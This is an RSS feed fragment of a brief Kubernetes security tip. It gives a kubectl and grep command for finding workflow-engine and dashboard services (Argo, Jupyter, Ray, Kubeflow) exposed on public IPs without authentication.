&lt;p&gt;If you run Argo (or any workflow engine) on Kubernetes, go check right now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get svc &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s1"&gt;'argo|dashboard|jupyter|ray|kubeflow'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything with a public &lt;code&gt;EXTERNAL-IP&lt;/code&gt; and no auth in front of it is your next incident.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>security</category>
      <category>azure</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
